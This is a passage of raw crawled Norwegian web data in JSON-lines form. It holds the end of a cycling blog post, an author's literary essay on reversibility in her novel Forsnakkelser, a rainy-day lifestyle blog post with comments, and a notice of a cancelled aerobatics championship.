forskjellige distanser? I Norge og i utlandet? Er norgesrekordene faktisk de beste tidene? I sk\u00f8ytesporten er det ihvertfall mange som er opptatt av slike ting (en stor takk til alle dere sk\u00f8ytenerder og statistikere der ute\\!), men jeg mistenker at sykkelsporten ikke er s\u00e5 opptatt av dette som meg. Overrask meg gjerne, sykkelstatistikere der ute\\!\n\n(Enda verre synes n\u00e5 jeg er at norske rekorder p\u00e5 bane m\u00e5 settes i Norge, n\u00e5r vi faktisk ikke har noen baner som egner seg til dette form\u00e5let. Er det ikke p\u00e5 tide \u00e5 endre p\u00e5 dette?)\n\nRekordfors\u00f8ket skal alts\u00e5 skje onsdag 8. september kl 1815 p\u00e5 Bispeveien, fra Svinevoll til Barkost og tilbake. Kom gjerne og hei p\u00e5 meg, jeg trenger det\\!\n\n", "language": "no", "__index_level_0__": "5627d145-1cdb-4cc2-892e-f1caf2896774"}
{"url": "http://kristinribe.no/litterre-essays/om-irreversibilitet-i-snakk-forsnakkelser-og-i-arbeidsprosessen/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:09:31Z", "text": "# Kristin Ribe\n\n# Om (ir)reversibilitet, i snakk, forsnakkelser og i arbeidsprosessen\n\nLitteraturkritikkens krav, eller i alle fall avisenes krav, er et krav om entydighet, noe som, slik jeg ser det, blir s\u00e6rlig konfliktfylt i forhold til \u00e5 lese og anmelde mer komplekse tekster, tekster det ikke er s\u00e5 lett \u00e5 f\u00e5 oversikt over, og, som p\u00e5 mange \u00e5ter ikke lar seg redusere. Roland Barthes, som er den teoretikeren som st\u00e5r mitt hjerte n\u00e6rmest for tida, egentlig i lang tid n\u00e5, sammenlikner lesningen av en slik mangfoldig tekst, med konsentrasjonen til en flue: Vi leser \"slik en flue summer rundt i rommet: med plutselige, tilsynelatende definitive, geskjeftige og meningsl\u00f8se sikksakk-bevegelser\". Mitt h\u00e5p er at *Forsnakkelser* er en slik mangfoldig bok, en rik bok, en bok med tekster og brokker av tekster som det g\u00e5r an \u00e5 g\u00e5 tilbake til, lese om igjen, som passasjer eller som helhet, og s\u00e5 f\u00e5 noe annet ut av det enn ved f\u00f8rste gangs lesning. Det som ikke er verdt \u00e5 leses to ganger, er heller ikke verdt den f\u00f8rste, er det en som har skrevet. Men fordi jeg alts\u00e5 \u00f8nsker \u00e5 bevare et i alle fall beskjedent mangfold i *Forsnakkelser*, blir det ogs\u00e5 p\u00e5 ett vis konfliktfylt for meg \u00e5 snakke om den, konfliktfylt, fordi jeg er vel vitende om faren for \u00e5 snakke min egen bok i senk, kanskje, ved legge betydninger der som ikke finnes, som jeg bare skulle \u00f8nske at fantes, men mye viktigere, ved \u00e5 lukke betydninger, avskj\u00e6re andres lesninger til fordel for min. Jeg har fors\u00f8kt \u00e5 begrense denne skaden, eller vi kunne ogs\u00e5 si, denne misgjerningen, ved \u00e5 trekke inn teori, noe jeg ikke kan legge skjul p\u00e5 at jeg er sv\u00e6rt glad i, og, ved \u00e5 fokusere p\u00e5 komposisjonen, spillet *mellom* betydningene, mer enn selve meningen.\n\nJeg skreiv hovedoppgave om hva som skaper sammenhenger i litter\u00e6re tekster, sett ut ifra begrepene repetisjoner, motsetninger og g\u00e5ter, og ble kanskje s\u00e6rlig p\u00e5virket av Barthes' *S/Z* fra 1970, en bok som for meg ble veldig \u00e5pnende i forhold til det \u00e5 se tekst som vev, der det han kaller koder og stemmer synes, blir borte, kommer tilbake igjen lik en tr\u00e5d, over og under, over og under, eller som han selv likner det med, lik de ulike stemmene i et orkester som skifter mellom \u00e5 ha f\u00f8ringen. Jeg vil komme tilbake til denne tekst-vev-metaforikken, men jeg har valgt \u00e5 ta *utgangspunkt* i det reversible og irreversible, det som er frigjort fra et tidsforl\u00f8p og kan gi mening hvor som helst og n\u00e5r som helst, og det som er avhengig av et gradvis forl\u00f8p og en gradvis avsl\u00f8ring, slik handling er det, og, slik l\u00f8sning av g\u00e5ter er det \u2013 for eksempel: Hvilke forsnakkelser? Hva er det som har skjedd? Vi greier ikke \u00e5 glemme historien, handlingen, n\u00e5r den f\u00f8rst er lest, og likeledes, vi greier ikke \u00e5 glemme svarene p\u00e5 disse sp\u00f8rsm\u00e5lene n\u00e5r de f\u00f8rst er gitt.\n\n\u00d8nsket mitt, for *Forsnakkelser*, er som sagt at dette skal v\u00e6re en mangfoldig og det Barthes kaller en skrivbar tekst, det vil si en tekst der leseren selv m\u00e5 delta for \u00e5 skape mening. En ideell mangfoldig tekst har meninger s\u00e5 langt \u00f8yet kan se, skriver Barthes, og er det han s\u00e5 fint beskriver som en \"galakse av signifikanter\", med meninger uten begynnelse og slutt, med fullstendig reversibilitet og et uendelig antall innganger til b\u00e5de betydning og opplevelse, en tekst der alt betyr noe, uopph\u00f8rlig og flere ganger. Det er ikke mulig \u00e5 skrive en slik idealtekst. Men \u00f8nsket om \u00e5 skrive slik at ikke alt er lagt opp p\u00e5 forh\u00e5nd, skrive slik at leseren selv m\u00e5 bidra i meningsproduksjonen, det er etter mitt syn det eneste jeg kan gj\u00f8re, det eneste som det er verdt \u00e5 gj\u00f8re. Jeg ville skrive om snakking og taushet, hvorfor vi snakker sammen, s\u00e6rlig hvorfor, men ogs\u00e5 hvordan. Fra de trivielle setningene man h\u00f8rer overalt (Vi trenger ikke spikre mer her, gj\u00f8r vi?) til de betydningsfulle, n\u00e6rmest skapende setningene som bidrar til \u00e5 fastsette, irreversibelt, en virkelighet. \"Talens fatalitet ligger i at den er irreversibel\" skriver Barthes i et essay fra 1975. Og han fortsetter: \"Det som er sagt kan ikke tas tilbake uten ved *\u00e5 legge noe til*: \u00c5 korrigere blir her besynderlig nok det samme som \u00e5 fortsette. N\u00e5r jeg taler kan jeg ikke stryke ut, viske ut eller annullere, det eneste jeg kan gj\u00f8re er \u00e5 (\u2026) fortsette \u00e5 tale\". Forsnakkelser, slik jeg ser det, ikke det freudianske \"a slip of the mind\", men nettopp dette man ikke kan trekke tilbake n\u00e5r det f\u00f8rst er sagt. Hovedpersonen har, i dobbel forstand, noe uh\u00f8rt \u00e5 fortelle, noe som ikke er blitt sagt tidligere, noe som har ligget og ulmet lenge, men som trenger seg mer og mer p\u00e5. Likevel blir det skremmende \u00e5 fortelle, fastsette, slik hun sp\u00f8r, \"Er det s\u00e5nn det er, hvis jeg har sagt det?\" forst\u00e5tt som, Kan det aldri endres etterp\u00e5? Er fortellinger en skapelse eller en \u00f8deleggelse, hvilke konsekvenser f\u00e5r det \u00e5 fastsette n\u00e5tiden, fortiden, virkeligheten ved \u00e5 fortelle? For hovedpersonen blir denne usikkerheten forsterket av omgivelsenes tydelige forbud som \"Jeg dreper deg hvis\", \"Gj\u00f8r du det, f\u00e5r du aldri komme tilbake\", og, fortellingene f\u00e5r jo ogs\u00e5 fatale konsekvenser idet Fredrik forlater henne, idet mora g\u00e5r. Men, samtidig med en slik for meg velbegrunnet skepsis mot det \u00e5 fortelle, h\u00e5per jeg \u00e5 kunne si noe om det ogs\u00e5 livsn\u00f8dvendige som ligger i det: Vi er absolutt ensomme uten spr\u00e5ket, vi er n\u00f8dt til \u00e5 formidle oss til hverandre for \u00e5 ikke gli inn i en slags mellommenneskelig livl\u00f8shet, en fristillelse fra andre mennesker som jeg ikke tror er til \u00e5 holde ut, som enten f\u00f8rer i galskapen eller i selvmordet. Denne fortellingenes livsn\u00f8dvendige og livsbevarende funksjon sees vel aller tydeligst i 1001 Natt, der Sheherasade forteller og forteller, rett og slett for \u00e5 bevare livet, for \u00e5 ikke bli halshugget.\n\nM\u00e5let for alt liv er d\u00f8den, skriver Freud, og likevel er det viktig \u00e5 ikke kortslutte l\u00f8pet fram mot dette, d\u00f8den m\u00e5 ikke komme for tidlig. P\u00e5 samme m\u00e5te skriver b\u00e5de Barthes og etter ham ogs\u00e5 Peter Brooks om midtdelens funksjon for nettopp \u00e5 dr\u00f8ye, utsette l\u00f8sningene som ligger i slutten. \u00c5 utsette svarene eller l\u00f8sningen bidrar til \u00e5 konstituere g\u00e5tene, skriver Barthes, men, i dette ligger ogs\u00e5 at g\u00e5tene hele tiden m\u00e5 holdes \"varme\", hentydes til, teksten m\u00e5 komme med b\u00e5de delvise og falske spor underveis, lage det Barthes s\u00e5 fint kaller et \"n\u00f8lende rom av f\u00e5m\u00e6lthet\". Akkurat som rimet strukturerer diktet i forhold til forventning og begj\u00e6r etter gjentakelse, skriver Barthes, strukturerer hermeneutemene (eller g\u00e5tesporene) det enigmatiske i forhold til forventningen om og begj\u00e6ret etter en l\u00f8sning. Lysten ved teksten, gleden n\u00e5r vi leser, er for Barthes \u00e5 likne med en erotisk lyst, en lyst der \"all opphisselse samler seg i h\u00e5pet om \u00e5 f\u00e5 se kj\u00f8nnsorganet (\\[som er\\] skoleguttens dr\u00f8m) eller, \u00e5 f\u00e5 vite slutten p\u00e5 historien (\\[det vil si\\] tilfredsstillelsen i romanen)\". N\u00e5r svaret s\u00e5 kommer, er det b\u00e5de frigj\u00f8rende og katastrofalt, da er det ikke mer igjen, svaret lukker og avslutter og punkterer all spenning. Dette er vel enklest \u00e5 se i forhold til kriminalromaner, men ogs\u00e5, i forhold til for eksempel Paal-Helge Haugens sv\u00e6rt gode *Anne*: Har vi allerede lest denne romanen kan vi ikke glemme at hun d\u00f8r p\u00e5 side 76, denne vitenen forf\u00f8lger oss i alle senere lesninger.\n\nHva s\u00e5 med \u00f8nsket om det reversible, det \u00e5pne, det bevegelige? \u00d8nsket om \u00e5 v\u00e6re i utsettelsen, avbrytelsen, i det vellystige bildet av et stykke hud som kun glimter fram mellom to klesplagg, det forf\u00f8rende glimtet? For meg som forfatter blir dette \u00f8nsket om \u00e5 gj\u00f8re teksten mest mulig rik, \u00f8nsket om \u00e5 gi teksten mest mulig \u00e5penhet for leseren, mest mulig ombyttelige eller reversible sammenhenger. Uvegerlig, er dette et \u00f8nske som kommer i konflikt med et for meg helt legitimt \u00f8nske om \u00e5 *beholde* leserne. Ikke n\u00f8dvendigvis alle, men noen. N\u00e5r en skriver, m\u00e5 en avsl\u00f8re mer og mer, og n\u00e5r en snakker, m\u00e5 en komme videre, ellers g\u00e5r tilh\u00f8rerne. S\u00e5, samtidig med den Bartheske bejaelsen av mangfold og det reversible i en tekst, er det, slik jeg ser det, noe med det irreversible ogs\u00e5, noe vi rett og slett ikke kan unnv\u00e6re. Finn Sk\u00e5rderud skriver i *Uro* at \"Uten en viss grad av orden ville vi bli gale\", et utsagn som p\u00e5peker at det ikke kun er t\u00e5lmodighet eller nysgjerrighet som krever irreversibilitet og gradvis utfoldelse, for eksempel i en roman, men ogs\u00e5 v\u00e5rt behov for \u00e5 organisere verden, forst\u00e5 og bli en del av.\n\nB\u00e5de handlingen og det g\u00e5tefulle i en tekst kan som sagt ikke tas tilbake, og reduserer if\u00f8lge Barthes mangfoldet i en roman, men, som jeg har fors\u00f8kt i *Forsnakkelser*, blir fastleggelsen av historien, fortiden, her problematisert ved at ogs\u00e5 n\u00e5tiden fortelles i ulike versjoner, eller Muligheter, slik vi finner det i de i alle fall tre versjonene av \"mordet\". Et annet moment Barthes beskriver som reversibelt, er konnotasjonenes spredning av mening, deres \u00f8deleggelse av renheten i kommunikasjonen, idet vi slett ikke tillegger forskjellige trekk ved teksten de samme tilleggsmeningene, som i *Forsnakkelser*, der barnet Mattias vel for mange blir barnet Messias, og slik forstyrrer en enkel fortelling om det \u00e5 bli invitert inn p\u00e5 bes\u00f8k n\u00e5r det regner. Og videre, reversibilitet ligger ogs\u00e5 i oppl\u00f8sningen av stemmer, i det at vi ikke kan avgj\u00f8re hvem det er som snakker. I *Forsnakkelser*, blir dette til en usikkerhet omkring n\u00e5r eller fra hvor hovedpersonen snakker. Det blir opp til leseren \u00e5 skape sammenhenger mellom de ulike tidsniv\u00e5ene i teksten, oppl\u00f8sningen av utsigelsestidspunktet skaper rom for leseren til \u00e5 skifte mening, oppleve flere muligheter p\u00e5 en gang. Og kanskje er dette frustrerende i forhold til forventninger om romanen, om stringens og presist uttrykk, men, kanskje ogs\u00e5, er det mulig \u00e5 se p\u00e5 dette som et mimetisk uttrykk for hvordan vi faktisk tenker og opplever, noe som ikke alltid er kronologisk, og, som ikke alltid har \u00e5penbar kausalitet. N\u00e5r vi tenker, nedvurderer vi, slik jeg ser det, sjeldent \u00e1 la \u00c5 nei, det var jo bare en tanke, eller, \u00c5 nei, det var en dr\u00f8m, eller, Nei, det er jo ikke viktig, det skjedde jo for lenge siden. Jeg \u00f8nsket \u00e5 skrive uten \u00e5 hele tiden kommentere hva som er hva, men ogs\u00e5, lage et motstykke til alle advokatseriene p\u00e5 tv, der det \u00e5 fortelle sin historie g\u00e5r s\u00e5 overm\u00e5te enkelt for seg, uten motstand, uten n\u00f8ling, bare rett fram det som har v\u00e6rt eller fortsatt er v\u00e5rt innerste. Skrivem\u00e5ten i *Forsnakkelser* er derfor preget av avbrytelser, og viser dermed noe av pausene som alltid er i snakking, hvordan man ikke alltid har full oversikt, men m\u00e5 leite etter den riktige versjonen, tenke etter. Hovedpersonen s\u00f8ker mening i en blanding av tid, inntrykk og uttrykk, en begynnende fortelling som starter med \u00e5 lytte, lytte til alt fra dagligtalens setninger til acitonfilmers svulstige punchlines, og s\u00e5 gjenta dem, bruke dem i sitt eget, til sitt eget.\n\nNymfen Ekko, i Ovids *Metamorfoser*, er likhet med ganske mange forelsket i den unge Narsissus. Narsissus selv er derimot kun opptatt av \u00e5 jakte, og s\u00e6rlig vanskelig blir det for Ekko \u00e5 uttrykke sin kj\u00e6rlighet ettersom hun tidligere er blitt straffet for \u00e5 ha snakket altfor *mye*, en gang Juno spurte henne hva Jupiter gjorde i skogen alene med alle nymfene. Denne straffen best\u00e5r i at hun kun kan gjenta hva andre sier, og dermed kan hun selv aldri ta initiativ i noen samtale. Betatt som hun er, f\u00f8lger hun etter Narsissus n\u00e5r han jakter, og f\u00e5r sin sjanse en gang han g\u00e5r seg vill og roper etter kameratene sine. Disse ropene, med sine ekko, utvikler seg til en forvirrende form for samtale, som ender i Narsissus' rop til kameratene Her skal vi m\u00f8tes, som Ekko gjentar med et Skal vi m\u00f8tes? eller ogs\u00e5 Skal vi elske? hvorp\u00e5 Ekko omfavner ham og Narsissus flykter fra henne med ordene Jeg vil heller d\u00f8 enn at du f\u00e5r meg, som Ekko gjentar som Du f\u00e5r meg.\n\nEkko lar alts\u00e5 inntrykk bli uttrykk, og for henne er begge deler irreversible. N\u00e5r vi, p\u00e5 den annen side, skal fortelle, er vi ikke som Ekko bundet av tiden, til \u00e5 kun gjenta der og da, men er fristilte i tid: Vi kan gjenta andres ord og formuleringer, brokker og hele setninger n\u00e5r som helst og *fra* n\u00e5r som helst. V\u00e5r virkelighet er, sett p\u00e5 denne m\u00e5ten alts\u00e5 reversibel, vi kan g\u00e5 inn, hvor som helst i summen av opplevelser og setninger og hente ut, benytte oss av, sette inn i nye sammenhenger, gj\u00f8re til v\u00e5rt. Jeg har alts\u00e5 stor tro p\u00e5 spr\u00e5ket, men mener at vi m\u00e5 sette alt sammen p\u00e5 nytt, finne det som best mulig dekker det vi selv opplever. Og det er krevende.\n\nOg her kommer ogs\u00e5 rytmen inn, jeg veit ikke om jeg har klart det, men m\u00e5let for meg har ogs\u00e5 v\u00e6rt \u00e5 lage passasjer der ikke kun det informative og symbolske kommer frem, men ogs\u00e5 det Barthes kaller \"brusing\", en tredje mening, \u00e5pen, ikke det som ofte kalles st\u00f8y eller tap av mening, men et tillegg. Passasjer der rytmen og lydene og innholdet er uadskillelige, som i Tankene, slik vi for eksempel finner side 9: \"Det umiddelbare, tenker jeg, det er det jeg vil uttrykke\", og s\u00e5 videre. Amittai Aviram hevder at i stedet for \u00e5 forst\u00e5 rytme som underst\u00f8ttelse av meningen, kan rytme v\u00e6re en sublim kraft som framstiller det uframstillelige, beskriver det ubeskrivelige. For meg, kanskje s\u00e6rlig i disse seks Tanke-segmentene, er rytmen og meningen sv\u00e6rt tett knyttet sammen, tar farge av hverandre, og kanskje nettopp her, i denne oppsummeringen av \u00f8nsker, i denne uttrykte viljen, det som man gjerne forventer skal v\u00e6re gjennomtenkt og velformulert, kommer meningen n\u00e6rmest bak rytmen, og det blir rytmen som beskriver det umiddelbare, det mer naive: S\u00e5nn vil jeg at verden skal v\u00e6re. Charles O. Hartmann skriver om rytmen at den er med p\u00e5 \u00e5 styre oppmerksomheten mot opplevelsen, eller, som Annie Finch skriver, bringer oss i kontakt med noe f\u00f8rspr\u00e5klig, det enn\u00e5 uformulerbare.\n\nEn annen form for rytme er den som kommer fram n\u00e5r jeg jobber med tekster og leser dem h\u00f8yt for meg selv, leiter etter den rytmen som er lett \u00e5 lese h\u00f8yt, noe som ikke dermed ligger n\u00e6rt talen, slik vi snakker med hverandre til daglig, men som mer er en slags hva Claes Gill kaller \u00e5ndedrettsrytme, s\u00e5 mye vi greier \u00e5 si uten \u00e5 m\u00e5tte trekke pusten, s\u00e5 pause, s\u00e5 s\u00e5 mye, en gang til. For meg, blir dette et slags intenst fors\u00f8k p\u00e5 \u00e5 holde sammen, holde s\u00e5 mye som mulig sammen, holde fortellingen, opplevelsen sammen.\n\nSelv liker jeg \u00e5 lese s\u00e6rlig Samuel Beckett, Marguerite Duras, Claude Simon, Jon Fosse, som alle gir en egen stemning gjennom spr\u00e5ket. Men, jeg kan ikke skrive som andre skriver, det ville aldri ha blitt s\u00e6rlig bra, kopier er sjeldent det, men mye viktigere, det ville aldri kunne dekke akkurat det *jeg* ville, det *jeg* vil med \u00e5 skrive. Bortsett fra teknikken med \u00e5 lese h\u00f8yt, er pusling noe jeg holder ganske mye p\u00e5 med i skriveprosessen. Roland Barthes skriver om semer, eller tekstens minste betydningsenheter, at de ikke bare m\u00e5 henge sammen med det forutg\u00e5ende og etterf\u00f8lgende, men at de oftest ogs\u00e5 har multivalente forbindelser. I puslespill, for \u00e5 bruke det bildet, har brikkene oftest kun fire tutter inn og ut som skaper sammenhenger med resten av brettet, og bildet p\u00e5 forsiden av esken danner en fasit for hva puslespillet skal ende opp som. I tekster er derimot mulighetene for sammenheng semene i mellom i prinsippet uendelig, og, i alle fall i poststrukturalistisk forst\u00e5else, er hver eneste lesning passende, ikke fullstendig, men passende. Slik jeg ser det, danner repetisjoner av s\u00e5vel tematiske som formelle trekk nettopp det vi med tekst-vev-metaforikken kan kalle tr\u00e5der, som synes, skjules p\u00e5 baksiden, kommer fram igjen. Actionfilm-snuttene er et tydelig og forholdsvis enkelt eksempel p\u00e5 dette Komme, bli borte, komme fram igjen, for s\u00e5 \u00e5 bli knyttet til broren og alle snuttene om ham, som igjen koples til gud og \"si bare det som er godt og bli ikke harm p\u00e5 dem som gj\u00f8r ondt\", med andre ord, tausheten og sinnet. Enkeltst\u00e5ende kan ikke slike tr\u00e5der gj\u00f8re noe annet enn kun \u00e5 uttrykke, skriver Barthes, men, s\u00e5 snart tr\u00e5der koples sammen, oppst\u00e5r forvandlinger, hver tr\u00e5d betyr ogs\u00e5 noe mer. Spredning er som sagt viktig i denne prosessen, for \u00e5 skape rom, men ogs\u00e5, avstanden m\u00e5 heller ikke v\u00e6re for stor, s\u00e5 stor at leseren ikke kjenner igjen tr\u00e5den, eller har glemt. Et annet poeng, som kanskje er best beskrevet av Peter Brooks, i hans *Reading for the Plot* fra 1984, er *bevegelsen* som oppst\u00e5r ved repetisjon av tematiske trekk. Repetisjonene avbryter tekstens linearitet, skriver Brooks, og tillater \u00f8re, \u00f8ye og hjerne \u00e5 danne sammenhenger, repetisjonen fordobler idet den b\u00e5de *legger til* og *gjenkaller* noe halvveis glemt, skaper en oscillering fram og tilbake som dermed motvirker tekstens tilsynelatende irreversibilitet.\n\nN\u00e5r jeg selv s\u00e5 sitter og pusler sammen, er det likevel ikke Barthes' teorier jeg kan ty til, men kun: \u00c5 kjenne etter. Jeg f\u00e5r en umiddelbar f\u00f8lelse hvis noe funker. Og likevel, arbeidet er p\u00e5 mange m\u00e5ter iterativt, n\u00e5r noe legges til, m\u00e5 kanskje noe annet trekkes fra eller flyttes, forandres. S\u00e5 lenge jeg jobber og ikke har sendt fra meg, er nesten alt ombyttelig, reversibelt, i den forstand at heller ikke jeg helt veit meningen, hvor dette helt skal ende. \u00c5 skrive blir et slags spill, mellom det \u00e5 skrive, kjenne etter, og, det \u00e5 analysere min egen tekst: Hva er det jeg holder p\u00e5 med her? Hva er det dette betyr? Og ikke minst, hva vil jeg med denne teksten? Hvor vil jeg hen? Men s\u00e5, ogs\u00e5, hvordan kan jeg komme videre herfra? Hva krever denne teksten av andre tekster, av forutg\u00e5ende og etterf\u00f8lgende tekster? Jeg vil gjerne det mangfoldige, men, skriften, teksten, kan ikke forbli i kun det ombyttelige og vordende, men trenger avgrensning, det \u00e5 skrive inneb\u00e6rer \u00e5 lukke noen muligheter, for \u00e5 *f\u00e5* andre. *Forsnakkelser* er likevel ikke blitt en enkel tekst. Det kan godt v\u00e6re at skrivem\u00e5ten i romanen kan bidra til \u00e5 utelukke lesere som i utgangspunktet er interesserte i den tematikken jeg tar opp. Mitt \u00f8nske er imidlertid ikke \u00e5 *gj\u00f8re* teksten vanskelig, men, for meg er det et poeng at tematikken og komposisjonen s\u00e5 \u00e5 si er uadskillelige, som om den tematikken jeg tar opp og den historien jeg beskriver n\u00e6rmest *krever* en avbrytende og langsomt avsl\u00f8rende form. S\u00e5 f\u00e5r jeg heller miste noen lesere p\u00e5 veien. Mitt h\u00e5p er at de som gidder, s\u00e5 f\u00e5r mer igjen for den tida det tar \u00e5 komme seg gjennom.\n\nHva s\u00e5 med kritikken? Jeg synes det er spennende, det Tomas Forser skriver om det gamle Alexandria, der kritikken avgjorde verkets skjebne i forhold til om det skulle bli bevart for ettertiden eller ikke. Som filolog tror jeg kanskje at litteraturvitenskapen, mer enn litteraturkritikken, i dag st\u00e5r for denne rollen. Og likevel, for meg som debutant og totalt ukjent, blir aviskritikken viktig, n\u00e6rmest um\u00e5telig viktig, idet den i stor grad er avgj\u00f8rende i forhold til *om* jeg blir lest. Jeg vil bli lest. Ikke n\u00f8dvendigvis av s\u00e5 mange som mulig, men, jeg vil bli lest.\n\nTarjei Vessas sa ved mottakelsen av Nordisk R\u00e5ds Litteraturpris at det \u00e5 skrive er som \u00e5 dr\u00f8mme om \u00e5 finne \"en aldeles kvit stein\". En dr\u00f8m om det fullendte, som han ser som en utopi, men ogs\u00e5 har noe skremmende, urovekkende over seg, i alle fall slik det kommer fram i diktet \"Alltid lenger\": \"Tr\u00e5dane fr\u00e5 v\u00e5rt indre / vil alltid lenger, / fomlande etter eitt: det inste. // (\u2026) // Aldri vil vi f\u00e5 det, / vi tolde ikkje ha det, / end\u00e5 g\u00e5r vi s\u00f8ker\". Eller som Roland Barthes skriver, dr\u00f8mmen, utopien, det fullstendig \u00e5pne er ogs\u00e5 *skremmende*, idet en slik utopisk vellyst-tekst setter leseren i en tilstand av selvfortapelse, fremkaller ubehag og rokker ved leserens alle grunnvoller, skaper krise i hans forhold til spr\u00e5ket, medf\u00f8rer sjokk og rystelse. *Alt* fortapes, skriver Barthes, helt og fullt. Vi blir totalt ensomme i m\u00f8tet med slike utopi-tekster, som kun kan oppleves, og ikke utsies. Og der er vi p\u00e5 en m\u00e5te tilbake til hovedtemaet for *Forsnakkelser*, tilbake i forestillingen om en opplevelse som nesten ikke lar seg fortelle. For meg er imidlertid dette uutsigelige tett knyttet til det jeg ser som v\u00e5rt uendelige *behov* for mening, for spr\u00e5k og meddelelse, for *b\u00e5de* avgrensning *og* vorden.\n\nOg jeg, n\u00e5r jeg skriver? Jeg *skulle* \u00f8nske jeg fant en aldeles hvit stein, at noen akkurat forsto, helt og fullt, hva jeg mener, hva jeg opplever. Jeg skulle \u00f8nske det. S\u00e5 jeg skriver. Jeg skriver og skriver og det er vel det n\u00e6rmeste jeg kommer, tror jeg. Uten at det er nok. Uten at jeg kan gj\u00f8re noe annet enn \u00e5 legge til og legge til, fortsette talen \u2013 ikke \"utenfor enhver form\u00e5lsrettethet\", mot den utopisk fullstendig \u00e5pne og reversible teksten, men tvert i mot, med et \u00f8nske om en blivende, tilblivende mening som plutselig er det jeg leiter etter, skriver etter. Jeg tror det er noe av litteraturens store styrke: at den hele tiden m\u00e5 kompletteres, at vi aldri har det biblioteket i Babel som Jorge Luis Borges beskriver, der alfabetets samtlige muligheter finnes. Og her, midt i erkjennelsen av dette uoppfylte, i vissheten om det tilblivende, det uavsluttede, det som p\u00e5 en aller annen m\u00e5te er n\u00f8dt til \u00e5 f\u00e5 en fortsettelse, tror jeg jeg vil avslutte. For \u00e5 fortsette et annet sted.\n\n", "language": "no", "__index_level_0__": "bed77dd7-bc5f-4ceb-9435-11da705b9319"}
{"url": "http://feelinggoodbyh.blogspot.com/2013/06/nar-regnet-hljer-ned.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:42:18Z", "text": "\n\n## onsdag 26. juni 2013\n\n### N\u00e5r regnet h\u00f8ljer ned\n\n\u00a0 \u00a0\u00a0\n\n**Sommerv\u00e6ret p\u00e5 \u00d8stlandet kan v\u00e6re ganske skiftende.**\n\nI g\u00e5r hadde vi fint solskinnsv\u00e6r, men i dag regner det tett. Da er det godt \u00e5 lage seg en varm kopp te og kose seg med en sjokoladebit mens man sitter sammensunket i sofaen med nyinnkj\u00f8pt sommerlektyre.\u00a0\n\n  \n\n\n  \nLivet p\u00e5 sj\u00f8en er aldri kjedelig, i skrivende stund kom 9 ribber susende forbi. Kan tenke meg de skal til Oscarsborg.\n\nHa en fin ettermiddag hvor du enn m\u00e5tte befinne deg, jeg skal tilbringe de neste dagene p\u00e5 hytta, rain or shine...\n\nHanne\n\nFeeling good by H  kl. \n\n17:49           \n\n#### 3 kommentarer:\n\n1.  \n    \n    rett og vrang26. juni 2013 kl. 20:12\n    \n    Hadde barnebarna her fra fredag til s\u00f8ndag og DA var det bra med v\u00e6rtypen\\! Takk og lov\\! I g\u00e5r var det ogs\u00e5 fint, s\u00e5 da gikk klesvasken unna, gitt\\! N\u00e5 har jeg l\u00e5nt noen b\u00f8ker og s\u00e5 h\u00e5per jeg at inspirasjonen kommer til \u00e5 lage noe i neste uke. Jeg har liksom ikke kommet i feriemodus enn\u00e5\\! Skolen slutta onsdag, men har rydda der tom mandag. Ha en super sommer\\! :-) Synn\u00f8ve\n    \n2.  \n    \n    Bente26. juni 2013 kl. 21:12\n    \n    Ja idag har det regnet hele dagen. H\u00e5per p\u00e5 bedre v\u00e6r imorgen. For f\u00f8rste gang h\u00f8rer jeg p\u00e5 lydb\u00f8ker. S\u00e5 fint. Kan pusle i huset eller sitte med h\u00e5ndarbeid samtidig. H\u00f8rer n\u00e5 p\u00e5 Predikanten av Camilla Lackberg. Vi har jo seilet p\u00e5 svenskekysten i mange \u00e5r og kjenner godt til omr\u00e5det rund Fjellbacka.  \n    H\u00e5per du f\u00e5r noen fine dager p\u00e5 hytta.  \n      \n    \n3.  \n    \n    Rosangela2. juli 2013 kl. 05:04\n    \n    Tamb\u00e9m quero um ch\u00e1...  \n    \u00d3tima semana.  \n    Beijo.\n    \n## Om meg\n\n\n  - Feeling good by H  \n    Jeg er en dame som bor i byen, men om sommeren flytter vi p\u00e5 hytta ved sj\u00f8en. Jeg er gift med gode F og har fire flotte barn. N\u00e5r jeg har ledig tid, elsker jeg \u00e5 holde p\u00e5 med et h\u00e5ndarbeid eller lage god mat. Mitt motto i livet er; \" Det er ikke hvordan man har det, men hvordan man tar det\\!\"\n\n", "language": "no", "__index_level_0__": "8e221a00-764d-42f0-84e6-6eebda905109"}
{"url": "http://www.nlf.no/aktivitet/motorfly/norgesmesterskap-i-akro-9-10-september-avlyst", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:34:57Z", "text": "\\- frihet og spenning\n\n## Norgesmesterskap i Akro 9-10 september - Avlyst\n\n\n\nDato:\u00a0\n\nTorsdag, 8. september 2011 (Hele dagen) to L\u00f8rdag, 10. september 2011 (Hele dagen)\n\nDette vil v\u00e6re stedet dere til enhver tid finner den offisielle og gyldige informasjonen om mesterskapet.\n\nPer. 07.09 Kl. 18.00 er f\u00f8lgende kjent:\n\n**AVLYST** pga for d\u00e5rlig v\u00e6rprognose.  \n  \nSted: Lista\n\n  - Trening 8. september\n  - Konkurranse 9-10. september\n  - Det vil bli Fuel tilgjengelig fra fat\n  - Alle ordner kost og losji selv. Det er forlegning p\u00e5 stedet.\n  - Enkeltrom m/frokost:\u00a0\u00a0 790,-  \n    Dobbeltrom m/frokost: 890,-  \n    Vandrerhjemmet i nabobygget har firemanns rom med vask, dusj og do p\u00e5 gangen. Uten frokost: 300,- pr pers Frokost 90,-  \n    Vi kan bestille dagens middag,\u00a0 dagen f\u00f8r.  \n    http://www.lista-flypark.no/  \n    E-post: firstname.lastname@example.org\n\n\u00a0\n\n\nYtterligere oppdateringer vil f\u00f8lge fortl\u00f8pende.\n\n\u00a0\nDeltageravgift er kr 500,-  \nBetales ved registrering torsdag kveld. Kun kontant.  \nHusk Sportslisens fra\u00a0NLF.  \n  \nVi forutsetter at det benyttes de samme friprogrammene som under nordisk. Er det endringer, vennligst send dette til Torkel Hasle s\u00e5 snart som mulig.  \n  \nBriefing kl 0800 fredag.  \nVi avslutter l\u00f8rdag kl 16 for premieutdeling og retur av fly (\u00f8nsker fleksibilitet mht v\u00e6ret som kan v\u00e6re s\u00e5 som s\u00e5 p\u00e5 denne tiden av \u00e5ret slik at flyene kommer hjem senest s\u00f8ndag)  \n  